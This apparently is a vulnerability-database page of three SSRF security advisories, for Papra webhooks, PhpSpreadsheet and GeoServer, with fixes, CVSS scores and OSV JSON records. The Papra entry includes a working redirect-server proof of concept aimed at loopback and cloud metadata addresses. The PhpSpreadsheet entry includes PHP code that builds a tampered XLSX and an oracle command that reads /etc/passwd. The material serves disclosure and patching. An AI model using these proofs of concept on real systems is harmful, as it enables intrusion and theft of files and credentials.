const response = await ofetch.raw<unknown>(url, {
  ...options,
  redirect: 'manual',       // do not follow redirects
  ignoreResponseError: true,
});

If redirect-following is ever required in the future, validate the Location header through the existing isUrlSsrfSafe() check before re-issuing the request.

Severity
3.5 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@papra/webhooks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48051"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-10T13:39:10Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n\nPapra\u0027s webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses \u2014 loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (`ofetch`) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client.\n\n### Details\n\n**The vulnerable call**\n\nThe webhook HTTP client in `packages/webhooks/src/webhooks.services.ts` (lines 16\u201319) calls `ofetch.raw()` without specifying a `redirect` option:\n\n```typescript\nconst response = await ofetch.raw\u003cunknown\u003e(url, {\n  ...options,\n  ignoreResponseError: true,\n  // no `redirect` option \u2014 defaults to \u0027follow\u0027 per Fetch API spec\n});\n```\n\n`ofetch` is a thin wrapper around the WHATWG Fetch API. The Fetch specification defines three redirect modes \u2014 `follow`, `error`, and `manual` \u2014 and sets `follow` as the default. In `follow` mode, the HTTP implementation resolves the redirect chain internally and returns only the final response; application code receives the terminal response with no indication that any redirects occurred. `ofetch` 1.4.1 does not set a `redirect` option in its internal `fetch()` call, so the default applies. The `ignoreResponseError: true` option only suppresses exceptions on non-2xx responses; it has no effect on redirect handling.\n\n**How the bypass works**\n\nThe SSRF protection runs at two points: registration time (`checkWebhookUrlIsSsrfSafe`, `webhooks.usecases.ts:34`) and delivery time (`filterOutSsrfUnsafeWebhooks`, `webhooks.usecases.ts:124`). Both checks work the same way:\n\n```typescript\n// apps/papra-server/src/modules/shared/ssrf/ssrf.services.ts, lines 20-27\nconst hostname = getUrlHostname(url);\nreturn isHostnameSsrfSafe({ hostname, allowedHostnames, dnsLookup, logger });\n// Resolves hostname \u2192 checks all resulting IPs against the blocklist\n// Blocklist covers: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16,\n//                   169.254.0.0/16, ::1, and other reserved ranges\n```\n\nBoth checks operate on `url` \u2014 the registered webhook URL, a public hostname that resolves to a public IP and passes the blocklist. Neither check has any visibility into where the HTTP client will end up after following a redirect. The `Location` header in a 3xx response is never extracted, never DNS-resolved, and never compared against the blocklist. By the time the redirect target is known to the Fetch implementation, the request has already been made.\n\nThe developer cannot observe this gap. The Fetch API gives no opportunity to inspect the redirect target before following it.\n\n**Evidence**\n\nAttacker\u0027s redirect server receives the POST and returns 302:\n\n```\n[2026-05-08T15:55:38.388647] POST /redirect\n  User-Agent: papra-webhook-client    \u2190 set only in webhooks.services.ts:47\n  X-Forwarded-For: \u003cREDACTED\u003e\n\"POST /redirect HTTP/1.1\" 302 -\n```\n\nPapra\u0027s inbound request log immediately after \u2014 this is the server logging a request arriving at itself:\n\n```\n{\"message\":\"Request completed\",\"timestampMs\":1778255738420,\n \"data\":{\"status\":200,\"method\":\"GET\",\"path\":\"/api/health\",\n         \"userAgent\":\"papra-webhook-client\"}}   \u2190 outbound UA on an inbound request\n```\n\n`papra-webhook-client` is set exclusively by the outbound webhook delivery code (`webhooks.services.ts:47`). Its presence on an inbound log entry is only possible if Papra\u0027s own HTTP client followed the 302 and made a request to the loopback. The delivery record confirms the internal endpoint responded HTTP 200:\n\n```\n{\"message\":\"Webhook triggered\",\"timestampMs\":1778255738422,\n \"data\":{\"responseStatus\":200,\"webhookId\":\"wbh_s6t1xzezbzbivyhptcs7qxhk\"}}\n```\n\n### PoC\n\n1. Start `redirect_server.py` on a publicly reachable server (ngrok free tier is sufficient). The example below uses Papra\u0027s own health endpoint as the redirect target to demonstrate the bypass \u2014 in a cloud environment replace `REDIRECT_TARGET` with `http://169.254.169.254/latest/meta-data/` or any internal address.\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom socketserver import ThreadingMixIn\nimport datetime\n\nREDIRECT_TARGET = \"http://127.0.0.1:1221/api/health\"  # replace with desired internal target\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        content_len = int(self.headers.get(\"Content-Length\", 0))\n        body = self.rfile.read(content_len)\n        print(f\"[{datetime.datetime.now(datetime.timezone.utc).isoformat()}] POST {self.path}\")\n        print(f\"  User-Agent: {self.headers.get(\u0027User-Agent\u0027)}\")\n        print(f\"  Body: {body[:200]}\")\n        self.send_response(302)\n        self.send_header(\"Location\", REDIRECT_TARGET)\n        self.end_headers()\n\nclass ThreadedHTTPServer(ThreadingMixIn, HTTPServer):\n    pass\n\nif __name__ == \"__main__\":\n    server = ThreadedHTTPServer((\"0.0.0.0\", 9999), RedirectHandler)\n    print(\"Redirect server running on port 9999\")\n    server.serve_forever()\n```\n\n\u003e `ThreadingMixIn` is required \u2014 Papra immediately opens a second connection to the same port when following the redirect; a single-threaded server deadlocks.\n\n2. Register a webhook pointing to the redirect server:\n   ```\n   POST /api/organizations/{orgId}/webhooks\n   {\"name\":\"ssrf-test\",\"url\":\"https://{ngrok-url}/redirect\",\"events\":[\"document:created\"]}\n   ```\n3. Upload any document to the organisation to fire a `document:created` event.\n4. Confirm on the Papra server logs that `/api/health` received a GET request with `User-Agent: papra-webhook-client`.\n\n### Impact\n\n- Any authenticated org member (no admin role required) can trigger the exploit.\n- The Papra server makes HTTP requests to internal addresses blocked by its own SSRF list: `127.0.0.0/8`, `169.254.0.0/16`, RFC-1918 ranges.\n- **This is blind SSRF** \u2014 internal response bodies are written to `webhook_deliveries` but no API route exposes delivery records. Response content is not accessible to the attacker through the Papra API.\n- Internal network topology can be partially inferred from whether requests succeed or fail (closed port produces a network error; open port returns an HTTP response).\n- HTTP 307 redirects preserve the POST method and body, enabling state-changing requests to internal services that accept unauthenticated POSTs.\n- On cloud deployments (AWS, GCP, Azure), the instance metadata service at `169.254.169.254` is reachable by the same technique. Cloud IMDS was not tested in this PoC (local Docker environment, no metadata service present). Response exfiltration via the Papra API remains unavailable regardless.\n\n**Suggested Fix**\n\nAdd `redirect: \u0027manual\u0027` to the `ofetch.raw()` call in `packages/webhooks/src/webhooks.services.ts` (line 16) and treat any 3xx response as a delivery failure. Webhook endpoints have no legitimate reason to redirect:\n\n```typescript\nconst response = await ofetch.raw\u003cunknown\u003e(url, {\n  ...options,\n  redirect: \u0027manual\u0027,       // do not follow redirects\n  ignoreResponseError: true,\n});\n```\n\nIf redirect-following is ever required in the future, validate the `Location` header through the existing `isUrlSsrfSafe()` check before re-issuing the request.",
  "id": "GHSA-5g86-85rp-f9hx",
  "modified": "2026-06-10T13:39:10Z",
  "published": "2026-06-10T13:39:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/papra-hq/papra/security/advisories/GHSA-5g86-85rp-f9hx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/papra-hq/papra/commit/086dccbfda18c850bee50b94c48f5f110be6935c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/papra-hq/papra"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Papra HTTP redirect bypass can lead to SSRF via webhook delivery system"
}

GHSA-5GPR-W2P5-6M37

Vulnerability from github – Published: 2024-10-07 15:57 – Updated: 2025-03-06 18:12
VLAI
Summary
PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file
Details

Summary

It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL.

Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component.

Details

When an XLSX file is opened, the XLSX reader calls setPath() with the path provided in the xl/drawings/_rels/drawing1.xml.rels file in the XLSX archive:

if (isset($images[$embedImageKey])) {
    // ...omit irrelevant code...
} else {
    $linkImageKey = (string) self::getArrayItem(
        $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),
        'link'
    );
    if (isset($images[$linkImageKey])) {
        $url = str_replace('xl/drawings/', '', $images[$linkImageKey]);
        $objDrawing->setPath($url);
    }
}

setPath() then reads the file in order to determine the file type and dimensions, if the path is a URL:

public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static
{
    if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {
        // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979
        if (filter_var($path, FILTER_VALIDATE_URL)) {
            $this->path = $path;
            // Implicit that it is a URL, rather store info than running check above on value in other places.
            $this->isUrl = true;
            $imageContents = file_get_contents($path);
            // ... check dimensions etc. ...

It's important to note here, that filter_var considers also file:// and php:// URLs valid.

The attacker can set the path to anything:

<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="this can be whatever" />

The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an error oracle which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit

PoC

Target file:

<?php

require 'vendor/autoload.php';

// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to
// keep the PoC simple, I've combined this into the same file.

$file = "book_tampered.xlsx";
$payload = $_POST["payload"]; // the payload comes from the Python script

copy("book.xlsx",$file);
$zip = new ZipArchive;
$zip->open($file);

$path = "xl/drawings/_rels/drawing1.xml.rels";
$content = $zip->getFromName($path);
$content = str_replace("../media/image1.gif", $payload, $content);
$zip->addFromString($path, $content);

$path = "xl/drawings/drawing1.xml";
$content = $zip->getFromName($path);
$content = str_replace('r:embed="rId1"', 'r:link="rId1"', $content);
$zip->addFromString($path, $content);

$zip->close();

// The actual target - note that simply opening the file is sufficient for the attack

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/' . $file);

Add this file in the same directory: book.xlsx

Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.

Download the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's bruteforcer.py file to change self.blow_up_inf = self.join(*[self.blow_up_utf32]*15) to self.blow_up_inf = self.join(*[self.blow_up_utf32]*20). This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with pip.

Then run the Python script with:

python3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd

Note that the attack relies on certain character encodings being supported by the system's iconv library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.

Here's the results I got after about a minute of bruteforcing:

image

Impact

An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
8.3 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpexcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45290"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-36",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-07T15:57:38Z",
    "nvd_published_at": "2024-10-07T21:15:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nIt\u0027s possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted `php://filter` URLs an attacker can leak the contents of any file or URL.\n\nNote that this vulnerability is different from [GHSA-w9xv-qf98-ccq4](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4), and resides in a different component.\n\n### Details\n\nWhen an XLSX file is opened, the XLSX reader calls `setPath()` with the path provided in the `xl/drawings/_rels/drawing1.xml.rels` file in the XLSX archive:\n\n```php\nif (isset($images[$embedImageKey])) {\n    // ...omit irrelevant code...\n} else {\n    $linkImageKey = (string) self::getArrayItem(\n        $blip-\u003eattributes(\u0027http://schemas.openxmlformats.org/officeDocument/2006/relationships\u0027),\n        \u0027link\u0027\n    );\n    if (isset($images[$linkImageKey])) {\n        $url = str_replace(\u0027xl/drawings/\u0027, \u0027\u0027, $images[$linkImageKey]);\n        $objDrawing-\u003esetPath($url);\n    }\n}\n```\n\n`setPath()` then reads the file in order to determine the file type and dimensions, if the path is a URL:\n\n```php\npublic function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static\n{\n    if ($verifyFile \u0026\u0026 preg_match(\u0027~^data:image/[a-z]+;base64,~\u0027, $path) !== 1) {\n        // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979\n        if (filter_var($path, FILTER_VALIDATE_URL)) {\n            $this-\u003epath = $path;\n            // Implicit that it is a URL, rather store info than running check above on value in other places.\n            $this-\u003eisUrl = true;\n            $imageContents = file_get_contents($path);\n            // ... check dimensions etc. ...\n```\n\nIt\u0027s important to note here, that `filter_var` considers also `file://` and `php://` URLs valid.\n\nThe attacker can set the path to anything:\n\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"this can be whatever\" /\u003e\n```\n\nThe contents of the file are not made available for the attacker directly. However, using PHP filter URLs it\u0027s possible to construct an [error oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle) which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit\n\n### PoC\n\nTarget file:\n\n```php\n\u003c?php\n\nrequire \u0027vendor/autoload.php\u0027;\n\n// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to\n// keep the PoC simple, I\u0027ve combined this into the same file.\n\n$file = \"book_tampered.xlsx\";\n$payload = $_POST[\"payload\"]; // the payload comes from the Python script\n\ncopy(\"book.xlsx\",$file);\n$zip = new ZipArchive;\n$zip-\u003eopen($file);\n\n$path = \"xl/drawings/_rels/drawing1.xml.rels\";\n$content = $zip-\u003egetFromName($path);\n$content = str_replace(\"../media/image1.gif\", $payload, $content);\n$zip-\u003eaddFromString($path, $content);\n\n$path = \"xl/drawings/drawing1.xml\";\n$content = $zip-\u003egetFromName($path);\n$content = str_replace(\u0027r:embed=\"rId1\"\u0027, \u0027r:link=\"rId1\"\u0027, $content);\n$zip-\u003eaddFromString($path, $content);\n\n$zip-\u003eclose();\n\n// The actual target - note that simply opening the file is sufficient for the attack\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . \u0027/\u0027 . $file);\n\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213296/book.xlsx)\n\nServe the PoC from a web server. Ensure your PHP memory limit is \u003c= 128M - otherwise you\u0027ll need to edit the Python script below.\n\nDownload the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you\u0027ll need to edit the Python script\u0027s `bruteforcer.py` file to change `self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)` to `self.blow_up_inf = self.join(*[self.blow_up_utf32]*20)`. This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script\u0027s dependencies with `pip`.\n\nThen run the Python script with:\n```\npython3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd\n```\n\nNote that the attack relies on certain character encodings being supported by the system\u0027s `iconv` library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you\u0027re developing on a Mac, you\u0027ll want to run your server in a virtual machine with Linux.\n\nHere\u0027s the results I got after about a minute of bruteforcing:\n\n![image](https://github.com/PHPOffice/PhpSpreadsheet/assets/1294941/06cbaf62-1001-481f-bbcd-d818a61896c4)\n\n### Impact\n\nAn attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.",
  "id": "GHSA-5gpr-w2p5-6m37",
  "modified": "2025-03-06T18:12:43Z",
  "published": "2024-10-07T15:57:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-5gpr-w2p5-6m37"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45290"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file"
}

GHSA-5GW5-JCCF-6HXW

Vulnerability from github – Published: 2025-06-10 14:13 – Updated: 2025-06-10 15:35
VLAI
Summary
GeoServer Vulnerable to Unauthenticated SSRF via TestWfsPost
Details

Summary

It possible to achieve Service Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set.

Details

A unauthenticated user can supply a request that will be issued by the server. This can be used to enumerate internal networks and also in the case of cloud instances can be used to obtain sensitive data.

Mitigation

  1. When using GeoServer with a proxy, manage the proxy base value as a system administrator, use the application property PROXY_BASE_URL to provide a non-empty value that cannot be overridden by the user interface or incoming request.

  2. When using GeoServer directly without a proxy, block all access to TestWfsPost by editing the web.xml file. Adding this block right before the end:

xml <security-constraint> <web-resource-collection> <web-resource-name>BlockDemoRequests</web-resource-name> <url-pattern>/TestWfsPost/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>BLOCKED</role-name> </auth-constraint> </security-constraint>

Resolution

Upgrading to GeoServer 2.24.4, or 2.25.2, removes the TestWfsPost servlet resolving this issue.

The demo request page functionality is now implemented directly in the browser.

Reference

  • https://osgeo-org.atlassian.net/browse/GEOS-11794
  • https://osgeo-org.atlassian.net/browse/GEOS-11390
  • https://nvd.nist.gov/vuln/detail/CVE-2021-40822
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver:gs-wfs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.24.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver.web:gs-app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.24.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver:gs-wfs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.25.0"
            },
            {
              "fixed": "2.25.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver.web:gs-app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.25.0"
            },
            {
              "fixed": "2.25.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-10T14:13:25Z",
    "nvd_published_at": "2025-06-10T15:15:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nIt possible to achieve Service Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set.\n\n### Details\n\nA unauthenticated user can supply a request that will be issued by the server. This can be used to enumerate internal networks and also in the case of cloud instances can be used to obtain sensitive data.\n\n### Mitigation\n\n1. When using GeoServer with a proxy, manage the proxy base value as a system administrator, use the application property ``PROXY_BASE_URL`` to provide a non-empty value that cannot be overridden by the user interface or incoming request.\n\n2. When using GeoServer directly without a proxy, block all access to TestWfsPost by editing the web.xml file. Adding this block right before the end:\n\n   ```xml\n      \u003csecurity-constraint\u003e\n           \u003cweb-resource-collection\u003e\n               \u003cweb-resource-name\u003eBlockDemoRequests\u003c/web-resource-name\u003e\n               \u003curl-pattern\u003e/TestWfsPost/*\u003c/url-pattern\u003e\n           \u003c/web-resource-collection\u003e\n           \u003cauth-constraint\u003e\n               \u003crole-name\u003eBLOCKED\u003c/role-name\u003e\n           \u003c/auth-constraint\u003e\n       \u003c/security-constraint\u003e\n   ```\n\n### Resolution\n\nUpgrading to GeoServer 2.24.4, or 2.25.2, removes the ``TestWfsPost`` servlet resolving this issue.\n\nThe demo request page functionality is now implemented directly in the browser.\n\n### Reference\n\n- https://osgeo-org.atlassian.net/browse/GEOS-11794\n- https://osgeo-org.atlassian.net/browse/GEOS-11390\n- https://nvd.nist.gov/vuln/detail/CVE-2021-40822",
  "id": "GHSA-5gw5-jccf-6hxw",
  "modified": "2025-06-10T15:35:17Z",
  "published": "2025-06-10T14:13:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-5gw5-jccf-6hxw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40822"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29198"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/geoserver/geoserver"
    },
    {
      "type": "WEB",
      "url": "https://osgeo-org.atlassian.net/browse/GEOS-11390"
    },
    {
      "type": "WEB",
      "url": "https://osgeo-org.atlassian.net/browse/GEOS-11794"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GeoServer Vulnerable to Unauthenticated SSRF via TestWfsPost"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list